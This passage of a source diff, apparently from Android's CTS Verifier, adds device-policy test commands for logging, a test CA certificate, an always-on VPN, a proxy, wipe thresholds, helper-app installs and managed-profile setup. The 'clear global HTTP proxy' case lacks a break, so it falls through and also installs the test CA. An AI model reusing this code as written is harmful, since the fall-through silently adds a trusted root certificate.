+    public static final String COMMAND_SET_MAXIMUM_PASSWORD_ATTEMPTS =
+            "set-maximum-password-attempts";
+    public static final String COMMAND_CLEAR_MAXIMUM_PASSWORD_ATTEMPTS =
+            "clear-maximum-password-attempts";
+    public static final String COMMAND_SET_DEFAULT_IME = "set-default-ime";
+    public static final String COMMAND_CLEAR_DEFAULT_IME = "clear-default-ime";
 
     public static final String EXTRA_USER_RESTRICTION =
             "com.android.cts.verifier.managedprovisioning.extra.USER_RESTRICTION";
@@ -71,9 +111,54 @@
             "com.android.cts.verifier.managedprovisioning.extra.ENFORCED";
     public static final String EXTRA_VALUE =
             "com.android.cts.verifier.managedprovisioning.extra.VALUE";
+    public static final String EXTRA_ORGANIZATION_NAME =
+            "com.android.cts.verifier.managedprovisioning.extra.ORGANIZATION_NAME";
+    public static final String EXTRA_PERMISSION =
+            "com.android.cts.verifier.managedprovisioning.extra.PERMISSION";
+    public static final String EXTRA_GRANT_STATE =
+            "com.android.cts.verifier.managedprovisioning.extra.GRANT_STATE";
+
+    // We care about installing and uninstalling only. It does not matter what apk is used.
+    // NotificationBot.apk is a good choice because it comes bundled with the CTS verifier.
+    protected static final String HELPER_APP_LOCATION = "/sdcard/NotificationBot.apk";
+    protected static final String HELPER_APP_PKG = "com.android.cts.robot";
+
+    public static final String ACTION_INSTALL_COMPLETE =
+            "com.android.cts.verifier.managedprovisioning.action.ACTION_INSTALL_COMPLETE";
+    public static final String ACTION_UNINSTALL_COMPLETE =
+            "com.android.cts.verifier.managedprovisioning.action.ACTION_UNINSTALL_COMPLETE";
+
+    /*
+     * The CA cert below is the content of cacert.pem as generated by:
+     *
+     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
+     */
+    private static final String TEST_CA =
+            "-----BEGIN CERTIFICATE-----\n" +
+            "MIIDXTCCAkWgAwIBAgIJAK9Tl/F9V8kSMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV\n" +
+            "BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX\n" +
+            "aWRnaXRzIFB0eSBMdGQwHhcNMTUwMzA2MTczMjExWhcNMjUwMzAzMTczMjExWjBF\n" +
+            "MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50\n" +
+            "ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB\n" +
+            "CgKCAQEAvItOutsE75WBTgTyNAHt4JXQ3JoseaGqcC3WQij6vhrleWi5KJ0jh1/M\n" +
+            "Rpry7Fajtwwb4t8VZa0NuM2h2YALv52w1xivql88zce/HU1y7XzbXhxis9o6SCI+\n" +
+            "oVQSbPeXRgBPppFzBEh3ZqYTVhAqw451XhwdA4Aqs3wts7ddjwlUzyMdU44osCUg\n" +
+            "kVg7lfPf9sTm5IoHVcfLSCWH5n6Nr9sH3o2ksyTwxuOAvsN11F/a0mmUoPciYPp+\n" +
+            "q7DzQzdi7akRG601DZ4YVOwo6UITGvDyuAAdxl5isovUXqe6Jmz2/myTSpAKxGFs\n" +
+            "jk9oRoG6WXWB1kni490GIPjJ1OceyQIDAQABo1AwTjAdBgNVHQ4EFgQUH1QIlPKL\n" +
+            "p2OQ/AoLOjKvBW4zK3AwHwYDVR0jBBgwFoAUH1QIlPKLp2OQ/AoLOjKvBW4zK3Aw\n" +
+            "DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAcMi4voMMJHeQLjtq8Oky\n" +
+            "Azpyk8moDwgCd4llcGj7izOkIIFqq/lyqKdtykVKUWz2bSHO5cLrtaOCiBWVlaCV\n" +
+            "DYAnnVLM8aqaA6hJDIfaGs4zmwz0dY8hVMFCuCBiLWuPfiYtbEmjHGSmpQTG6Qxn\n" +
+            "ZJlaK5CZyt5pgh5EdNdvQmDEbKGmu0wpCq9qjZImwdyAul1t/B0DrsWApZMgZpeI\n" +
+            "d2od0VBrCICB1K4p+C51D93xyQiva7xQcCne+TAnGNy9+gjQ/MyR8MRpwRLv5ikD\n" +
+            "u0anJCN8pXo6IMglfMAsoton1J6o5/ae5uhC6caQU8bNUsCK570gpNfjkzo6rbP0\n" +
+            "wQ==\n" +
+            "-----END CERTIFICATE-----";
 
     private ComponentName mAdmin;
     private DevicePolicyManager mDpm;
+    private UserManager mUm;
 
     @Override
     public void onCreate(Bundle savedInstanceState) {
@@ -82,6 +167,7 @@
         try {
             mDpm = (DevicePolicyManager) getSystemService(
                     Context.DEVICE_POLICY_SERVICE);
+            mUm = (UserManager) getSystemService(Context.USER_SERVICE);
             mAdmin = DeviceAdminTestReceiver.getReceiverComponentName();
             Log.i(TAG, "Command: " + intent);
 
@@ -147,7 +233,7 @@
                     if (!mDpm.isDeviceOwnerApp(getPackageName())) {
                         return;
                     }
-                    clearAllPolicies();
+                    clearAllPoliciesAndRestrictions();
                     mDpm.clearDeviceOwnerApp(getPackageName());
                 } break;
                 case COMMAND_REQUEST_BUGREPORT: {
@@ -161,17 +247,21 @@
                                 Utils.BUGREPORT_NOTIFICATION_ID);
                     }
                 } break;
-                case COMMAND_DEVICE_OWNER_CLEAR_POLICIES: {
-                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
-                        return;
+                case COMMAND_CLEAR_POLICIES: {
+                    int mode = intent.getIntExtra(PolicyTransparencyTestListActivity.EXTRA_MODE,
+                            PolicyTransparencyTestListActivity.MODE_DEVICE_OWNER);
+                    if (mode == PolicyTransparencyTestListActivity.MODE_DEVICE_OWNER) {
+                        if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                            return;
+                        }
+                        clearAllPoliciesAndRestrictions();
+                    } else if(mode == PolicyTransparencyTestListActivity.MODE_PROFILE_OWNER) {
+                        if (!mDpm.isProfileOwnerApp(getPackageName())) {
+                            return;
+                        }
+                        clearProfileOwnerRelatedPoliciesAndRestrictions();
                     }
-                    clearAllPolicies();
-                } break;
-                case COMMAND_PROFILE_OWNER_CLEAR_POLICIES: {
-                    if (!mDpm.isProfileOwnerApp(getPackageName())) {
-                        return;
-                    }
-                    clearProfileOwnerRelatedPolicies();
+                    // No policies need to be cleared for COMP at the moment.
                 } break;
                 case COMMAND_SET_USER_ICON: {
                     if (!mDpm.isDeviceOwnerApp(getPackageName())) {
@@ -180,6 +270,190 @@
                     mDpm.setUserIcon(mAdmin, BitmapFactory.decodeResource(getResources(),
                             com.android.cts.verifier.R.drawable.icon));
                 } break;
+                case COMMAND_RETRIEVE_NETWORK_LOGS: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    mDpm.setNetworkLoggingEnabled(mAdmin, true);
+                    mDpm.retrieveNetworkLogs(mAdmin, 0 /* batchToken */);
+                    mDpm.setNetworkLoggingEnabled(mAdmin, false);
+                } break;
+                case COMMAND_RETRIEVE_SECURITY_LOGS: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    mDpm.setSecurityLoggingEnabled(mAdmin, true);
+                    mDpm.retrieveSecurityLogs(mAdmin);
+                    mDpm.setSecurityLoggingEnabled(mAdmin, false);
+                } break;
+                case COMMAND_SET_ORGANIZATION_NAME: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    mDpm.setOrganizationName(mAdmin,
+                            intent.getStringExtra(EXTRA_ORGANIZATION_NAME));
+                } break;
+                case COMMAND_ENABLE_NETWORK_LOGGING: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    mDpm.setNetworkLoggingEnabled(mAdmin, true);
+                } break;
+                case COMMAND_DISABLE_NETWORK_LOGGING: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    mDpm.setNetworkLoggingEnabled(mAdmin, false);
+                } break;
+                case COMMAND_INSTALL_HELPER_PACKAGE: {
+                    installHelperPackage();
+                } break;
+                case COMMAND_UNINSTALL_HELPER_PACKAGE: {
+                    uninstallHelperPackage();
+                } break;
+                case COMMAND_SET_PERMISSION_GRANT_STATE: {
+                    mDpm.setPermissionGrantState(mAdmin, getPackageName(),
+                            intent.getStringExtra(EXTRA_PERMISSION),
+                            intent.getIntExtra(EXTRA_GRANT_STATE,
+                                    DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT));
+                } break;
+                case COMMAND_ADD_PERSISTENT_PREFERRED_ACTIVITIES: {
+                    final ComponentName componentName =
+                            EnterprisePrivacyTestDefaultAppActivity.COMPONENT_NAME;
+                    // Browser
+                    IntentFilter filter = new IntentFilter();
+                    filter.addAction(Intent.ACTION_VIEW);
+                    filter.addCategory(Intent.CATEGORY_BROWSABLE);
+                    filter.addDataScheme("http");
+                    mDpm.addPersistentPreferredActivity(mAdmin, filter, componentName);
+                    // Camera
+                    filter = new IntentFilter();
+                    filter.addAction(MediaStore.ACTION_IMAGE_CAPTURE);
+                    filter.addAction(MediaStore.ACTION_VIDEO_CAPTURE);
+                    mDpm.addPersistentPreferredActivity(mAdmin, filter, componentName);
+                    // Map
+                    filter = new IntentFilter();
+                    filter.addAction(Intent.ACTION_VIEW);
+                    filter.addDataScheme("geo");
+                    mDpm.addPersistentPreferredActivity(mAdmin, filter, componentName);
+                    // E-mail
+                    filter = new IntentFilter();
+                    filter.addAction(Intent.ACTION_SENDTO);
+                    filter.addAction(Intent.ACTION_SEND);
+                    filter.addAction(Intent.ACTION_SEND_MULTIPLE);
+                    mDpm.addPersistentPreferredActivity(mAdmin, filter, componentName);
+                    // Calendar
+                    filter = new IntentFilter();
+                    filter.addAction(Intent.ACTION_INSERT);
+                    filter.addDataType("vnd.android.cursor.dir/event");
+                    mDpm.addPersistentPreferredActivity(mAdmin, filter, componentName);
+                    // Contacts
+                    filter = new IntentFilter();
+                    filter.addAction(Intent.ACTION_PICK);
+                    filter.addDataType(ContactsContract.Contacts.CONTENT_TYPE);
+                    mDpm.addPersistentPreferredActivity(mAdmin, filter, componentName);
+                    // Dialer
+                    filter = new IntentFilter();
+                    filter.addAction(Intent.ACTION_DIAL);
+                    filter.addAction(Intent.ACTION_CALL);
+                    mDpm.addPersistentPreferredActivity(mAdmin, filter, componentName);
+                    getPackageManager().setComponentEnabledSetting(componentName,
+                            PackageManager.COMPONENT_ENABLED_STATE_ENABLED,
+                            PackageManager.DONT_KILL_APP);
+                } break;
+                case COMMAND_CLEAR_PERSISTENT_PREFERRED_ACTIVITIES: {
+                    mDpm.clearPackagePersistentPreferredActivities(mAdmin, getPackageName());
+                    getPackageManager().setComponentEnabledSetting(
+                            EnterprisePrivacyTestDefaultAppActivity.COMPONENT_NAME,
+                            PackageManager.COMPONENT_ENABLED_STATE_DEFAULT,
+                            PackageManager.DONT_KILL_APP);
+                } break;
+                case COMMAND_CREATE_MANAGED_PROFILE: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    if (mUm.getUserProfiles().size() > 1) {
+                        return;
+                    }
+                    startActivityForResult(new Intent(
+                            DevicePolicyManager.ACTION_PROVISION_MANAGED_PROFILE)
+                            .putExtra(DevicePolicyManager
+                                    .EXTRA_PROVISIONING_DEVICE_ADMIN_COMPONENT_NAME,
+                                    CompDeviceAdminTestReceiver.getReceiverComponentName())
+                            .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_SKIP_ENCRYPTION, true)
+                            .putExtra(DevicePolicyManager.EXTRA_PROVISIONING_SKIP_USER_CONSENT,
+                                true), 0);
+                } break;
+                case COMMAND_REMOVE_MANAGED_PROFILE: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    removeManagedProfile();
+                } break;
+                case COMMAND_SET_ALWAYS_ON_VPN: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    mDpm.setAlwaysOnVpnPackage(mAdmin, getPackageName(),
+                            false /* lockdownEnabled */);
+                } break;
+                case COMMAND_CLEAR_ALWAYS_ON_VPN: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    mDpm.setAlwaysOnVpnPackage(mAdmin, null /* vpnPackage */,
+                            false /* lockdownEnabled */);
+                } break;
+                case COMMAND_SET_GLOBAL_HTTP_PROXY: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    mDpm.setRecommendedGlobalProxy(mAdmin,
+                            ProxyInfo.buildDirectProxy("example.com", 123));
+                } break;
+                case COMMAND_CLEAR_GLOBAL_HTTP_PROXY: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    mDpm.setRecommendedGlobalProxy(mAdmin, null);
+                }
+                case COMMAND_INSTALL_CA_CERT: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    mDpm.installCaCert(mAdmin, TEST_CA.getBytes());
+                } break;
+                case COMMAND_CLEAR_CA_CERT: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    mDpm.uninstallCaCert(mAdmin, TEST_CA.getBytes());
+                } break;
+                case COMMAND_SET_MAXIMUM_PASSWORD_ATTEMPTS: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    mDpm.setMaximumFailedPasswordsForWipe(mAdmin, 100);
+                } break;
+                case COMMAND_CLEAR_MAXIMUM_PASSWORD_ATTEMPTS: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    mDpm.setMaximumFailedPasswordsForWipe(mAdmin, 0);
+                } break;
+                case COMMAND_SET_DEFAULT_IME: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    mDpm.setSecureSetting(mAdmin, Settings.Secure.DEFAULT_INPUT_METHOD,
+                            getPackageName());
+                } break;
+                case COMMAND_CLEAR_DEFAULT_IME: {
+                    if (!mDpm.isDeviceOwnerApp(getPackageName())) {
+                        return;
+                    }
+                    mDpm.setSecureSetting(mAdmin, Settings.Secure.DEFAULT_INPUT_METHOD, null);
+                }
             }
         } catch (Exception e) {
             Log.e(TAG, "Failed to execute command: " + intent, e);
@@ -188,43 +462,99 @@
         }
     }
 
-    private void clearAllPolicies() {
-        clearProfileOwnerRelatedPolicies();
+    private void installHelperPackage() throws Exception {
+        final PackageInstaller packageInstaller = getPackageManager().getPackageInstaller();
+        final PackageInstaller.Session session = packageInstaller.openSession(
+                packageInstaller.createSession(new PackageInstaller.SessionParams(
+                        PackageInstaller.SessionParams.MODE_FULL_INSTALL)));
+        final File file = new File(HELPER_APP_LOCATION);
+        final InputStream in = new FileInputStream(file);
+        final OutputStream out = session.openWrite("CommandReceiverActivity", 0, file.length());
+        final byte[] buffer = new byte[65536];
+        int count;
+        while ((count = in.read(buffer)) != -1) {
+            out.write(buffer, 0, count);
+        }
+        session.fsync(out);
+        in.close();
+        out.close();
+        session.commit(PendingIntent.getBroadcast(this, 0, new Intent(ACTION_INSTALL_COMPLETE), 0)
+                .getIntentSender());
+    }
 
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_ADD_USER);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_ADJUST_VOLUME);
+    private void uninstallHelperPackage() {
+        try {
+            getPackageManager().getPackageInstaller().uninstall(HELPER_APP_PKG,
+                    PendingIntent.getBroadcast(this, 0, new Intent(ACTION_UNINSTALL_COMPLETE), 0)
+                            .getIntentSender());
+        } catch (IllegalArgumentException e) {
+            // The package is not installed: that's fine
+        }
+    }
+
+    private void clearAllPoliciesAndRestrictions() throws Exception {
+        clearProfileOwnerRelatedPolicies();
+        clearPolicyTransparencyUserRestriction(
+                PolicyTransparencyTestListActivity.MODE_DEVICE_OWNER);
+
+        // There are a few user restrictions that are used, but not for policy transparency
         mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_CONFIG_BLUETOOTH);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_CONFIG_CELL_BROADCASTS);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_CONFIG_MOBILE_NETWORKS);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_CONFIG_TETHERING);
         mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_CONFIG_VPN);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_CONFIG_WIFI);
         mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_DATA_ROAMING);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_DEBUGGING_FEATURES);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_FACTORY_RESET);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_FUN);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_NETWORK_RESET);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_OUTGOING_BEAM);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_REMOVE_USER);
 
         mDpm.setDeviceOwnerLockScreenInfo(mAdmin, null);
         mDpm.setKeyguardDisabled(mAdmin, false);
         mDpm.setAutoTimeRequired(mAdmin, false);
         mDpm.setStatusBarDisabled(mAdmin, false);
+        mDpm.setOrganizationName(mAdmin, null);
+        mDpm.setNetworkLoggingEnabled(mAdmin, false);
+        mDpm.setSecurityLoggingEnabled(mAdmin, false);
+        mDpm.setPermissionGrantState(mAdmin, getPackageName(),
+                Manifest.permission.ACCESS_FINE_LOCATION,
+                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
+        mDpm.setPermissionGrantState(mAdmin, getPackageName(), Manifest.permission.RECORD_AUDIO,
+                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
+        mDpm.setPermissionGrantState(mAdmin, getPackageName(), Manifest.permission.CAMERA,
+                DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT);
+        mDpm.clearPackagePersistentPreferredActivities(mAdmin, getPackageName());
+        mDpm.setAlwaysOnVpnPackage(mAdmin, null, false);
+        mDpm.setRecommendedGlobalProxy(mAdmin, null);
+        mDpm.uninstallCaCert(mAdmin, TEST_CA.getBytes());
+        mDpm.setMaximumFailedPasswordsForWipe(mAdmin, 0);
+        mDpm.setSecureSetting(mAdmin, Settings.Secure.DEFAULT_INPUT_METHOD, null);
+
+        uninstallHelperPackage();
+        removeManagedProfile();
+        getPackageManager().setComponentEnabledSetting(
+                EnterprisePrivacyTestDefaultAppActivity.COMPONENT_NAME,
+                PackageManager.COMPONENT_ENABLED_STATE_DEFAULT,
+                PackageManager.DONT_KILL_APP);
+    }
+
+    private void clearProfileOwnerRelatedPoliciesAndRestrictions() {
+        clearPolicyTransparencyUserRestriction(
+                PolicyTransparencyTestListActivity.MODE_PROFILE_OWNER);
+        clearProfileOwnerRelatedPolicies();
     }
 
     private void clearProfileOwnerRelatedPolicies() {
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_APPS_CONTROL);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_CONFIG_CREDENTIALS);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_MODIFY_ACCOUNTS);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_SHARE_LOCATION);
-        mDpm.clearUserRestriction(mAdmin, UserManager.DISALLOW_UNINSTALL_APPS);
-
         mDpm.setKeyguardDisabledFeatures(mAdmin, 0);
         mDpm.setPasswordQuality(mAdmin, 0);
         mDpm.setMaximumTimeToLock(mAdmin, 0);
         mDpm.setPermittedAccessibilityServices(mAdmin, null);
         mDpm.setPermittedInputMethods(mAdmin, null);
     }
+
+    private void clearPolicyTransparencyUserRestriction(int mode) {
+        for (String userRestriction : UserRestrictions.getUserRestrictionsForPolicyTransparency(
+                mode)) {
+            mDpm.clearUserRestriction(mAdmin, userRestriction);
+        }
+    }
+
+    private void removeManagedProfile() {
+        for (final UserHandle userHandle : mUm.getUserProfiles()) {
+            mDpm.removeUser(mAdmin, userHandle);
+        }
+    }
 }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CompDeviceAdminTestReceiver.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CompDeviceAdminTestReceiver.java
new file mode 100644
index 0000000..9298135
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CompDeviceAdminTestReceiver.java
@@ -0,0 +1,53 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import android.app.admin.DeviceAdminReceiver;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.IntentFilter;
+
+/**
+ * Profile owner receiver for COMP tests. Sets up cross-profile intent filters that allow the
+ * CtsVerifier running in the primary user to send it commands after successful provisioning.
+ */
+public class CompDeviceAdminTestReceiver extends DeviceAdminReceiver {
+        private static final ComponentName RECEIVER_COMPONENT_NAME = new ComponentName(
+                "com.android.cts.verifier", CompDeviceAdminTestReceiver.class.getName());
+
+        public static ComponentName getReceiverComponentName() {
+            return RECEIVER_COMPONENT_NAME;
+        }
+
+        @Override
+        public void onProfileProvisioningComplete(Context context, Intent intent) {
+            final DevicePolicyManager dpm =
+                    (DevicePolicyManager) context.getSystemService(Context.DEVICE_POLICY_SERVICE);
+            dpm.setProfileEnabled(new ComponentName(context.getApplicationContext(), getClass()));
+
+            // Set up cross-profile intent filter to allow the CtsVerifier running in the primary
+            // user to send us commands.
+            final IntentFilter filter = new IntentFilter();
+            filter.addAction(CompHelperActivity.ACTION_SET_ALWAYS_ON_VPN);
+            filter.addAction(CompHelperActivity.ACTION_INSTALL_CA_CERT);
+            filter.addAction(CompHelperActivity.ACTION_SET_MAXIMUM_PASSWORD_ATTEMPTS);
+            dpm.addCrossProfileIntentFilter(getWho(context), filter,
+                    DevicePolicyManager.FLAG_MANAGED_CAN_ACCESS_PARENT);
+        }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CompHelperActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CompHelperActivity.java
new file mode 100644
index 0000000..be46a6e
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CompHelperActivity.java
@@ -0,0 +1,96 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.managedprovisioning;
+
+import android.app.Activity;
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * A helper activity that executes commands sent from CtsVerifier in the primary user to the managed
+ * profile in COMP mode.
+ *
+ * Note: We have to use a dummy activity because cross-profile intents only work for activities.
+ */
+public class CompHelperActivity extends Activity {
+
+    public static final String TAG = "CompHelperActivity";
+
+    // Set always-on VPN.
+    public static final String ACTION_SET_ALWAYS_ON_VPN
+            = "com.android.cts.verifier.managedprovisioning.COMP_SET_ALWAYS_ON_VPN";
+    // Install trusted CA cert.
+    public static final String ACTION_INSTALL_CA_CERT
+            = "com.android.cts.verifier.managedprovisioning.COMP_INSTALL_CA_CERT";
+    // Set the number of login failures after which the managed profile is wiped.
+    public static final String ACTION_SET_MAXIMUM_PASSWORD_ATTEMPTS
+            = "com.android.cts.verifier.managedprovisioning.COMP_SET_MAXIMUM_PASSWORD_ATTEMPTS";
+
+    /*
+     * The CA cert below is the content of cacert.pem as generated by:
+     *
+     * openssl req -new -x509 -days 3650 -extensions v3_ca -keyout cakey.pem -out cacert.pem
+     */
+    private static final String TEST_CA =
+            "-----BEGIN CERTIFICATE-----\n" +
+            "MIIDXTCCAkWgAwIBAgIJAK9Tl/F9V8kSMA0GCSqGSIb3DQEBCwUAMEUxCzAJBgNV\n" +
+            "BAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEwHwYDVQQKDBhJbnRlcm5ldCBX\n" +
+            "aWRnaXRzIFB0eSBMdGQwHhcNMTUwMzA2MTczMjExWhcNMjUwMzAzMTczMjExWjBF\n" +
+            "MQswCQYDVQQGEwJBVTETMBEGA1UECAwKU29tZS1TdGF0ZTEhMB8GA1UECgwYSW50\n" +
+            "ZXJuZXQgV2lkZ2l0cyBQdHkgTHRkMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB\n" +
+            "CgKCAQEAvItOutsE75WBTgTyNAHt4JXQ3JoseaGqcC3WQij6vhrleWi5KJ0jh1/M\n" +
+            "Rpry7Fajtwwb4t8VZa0NuM2h2YALv52w1xivql88zce/HU1y7XzbXhxis9o6SCI+\n" +
+            "oVQSbPeXRgBPppFzBEh3ZqYTVhAqw451XhwdA4Aqs3wts7ddjwlUzyMdU44osCUg\n" +
+            "kVg7lfPf9sTm5IoHVcfLSCWH5n6Nr9sH3o2ksyTwxuOAvsN11F/a0mmUoPciYPp+\n" +
+            "q7DzQzdi7akRG601DZ4YVOwo6UITGvDyuAAdxl5isovUXqe6Jmz2/myTSpAKxGFs\n" +
+            "jk9oRoG6WXWB1kni490GIPjJ1OceyQIDAQABo1AwTjAdBgNVHQ4EFgQUH1QIlPKL\n" +
+            "p2OQ/AoLOjKvBW4zK3AwHwYDVR0jBBgwFoAUH1QIlPKLp2OQ/AoLOjKvBW4zK3Aw\n" +
+            "DAYDVR0TBAUwAwEB/zANBgkqhkiG9w0BAQsFAAOCAQEAcMi4voMMJHeQLjtq8Oky\n" +
+            "Azpyk8moDwgCd4llcGj7izOkIIFqq/lyqKdtykVKUWz2bSHO5cLrtaOCiBWVlaCV\n" +
+            "DYAnnVLM8aqaA6hJDIfaGs4zmwz0dY8hVMFCuCBiLWuPfiYtbEmjHGSmpQTG6Qxn\n" +
+            "ZJlaK5CZyt5pgh5EdNdvQmDEbKGmu0wpCq9qjZImwdyAul1t/B0DrsWApZMgZpeI\n" +
+            "d2od0VBrCICB1K4p+C51D93xyQiva7xQcCne+TAnGNy9+gjQ/MyR8MRpwRLv5ikD\n" +
+            "u0anJCN8pXo6IMglfMAsoton1J6o5/ae5uhC6caQU8bNUsCK570gpNfjkzo6rbP0\n" +
+            "wQ==\n" +
+            "-----END CERTIFICATE-----";
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        final ComponentName admin = CompDeviceAdminTestReceiver.getReceiverComponentName();
+        final DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(
+                Context.DEVICE_POLICY_SERVICE);
+
+        final String action = getIntent().getAction();
+        if (ACTION_SET_ALWAYS_ON_VPN.equals(action)) {
+            try {
+                dpm.setAlwaysOnVpnPackage(admin, getPackageName(), false /* lockdownEnabled */);
+            } catch (Exception e) {
+                Log.e(TAG, "Unable to set always-on VPN", e);
+            }
+        } else if (ACTION_INSTALL_CA_CERT.equals(action)) {
+            dpm.installCaCert(admin, TEST_CA.getBytes());
+        } else if (ACTION_SET_MAXIMUM_PASSWORD_ATTEMPTS.equals(action)) {
+            dpm.setMaximumFailedPasswordsForWipe(admin, 100);
+        }
+        finish();
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CompTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CompTestActivity.java
new file mode 100644
index 0000000..d515097
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/CompTestActivity.java
@@ -0,0 +1,85 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.managedprovisioning;
+
+import android.app.Activity;
+import android.app.AlertDialog;
+import android.content.Intent;
+import android.os.Bundle;
+import android.util.Log;
+
+import com.android.cts.verifier.R;
+
+/**
+ * Creates a managed profile on a device owner device, and checks that the user is not able to
+ * remove the profile if {@link android.os.UserManager#DISALLOW_REMOVE_MANAGED_PROFILE} is set.
+ */
+public class CompTestActivity extends Activity {
+
+    private static final String TAG = "CompTestActivity";
+
+    private static final int PROVISION_MANAGED_PROFILE_REQUEST_CODE = 1;
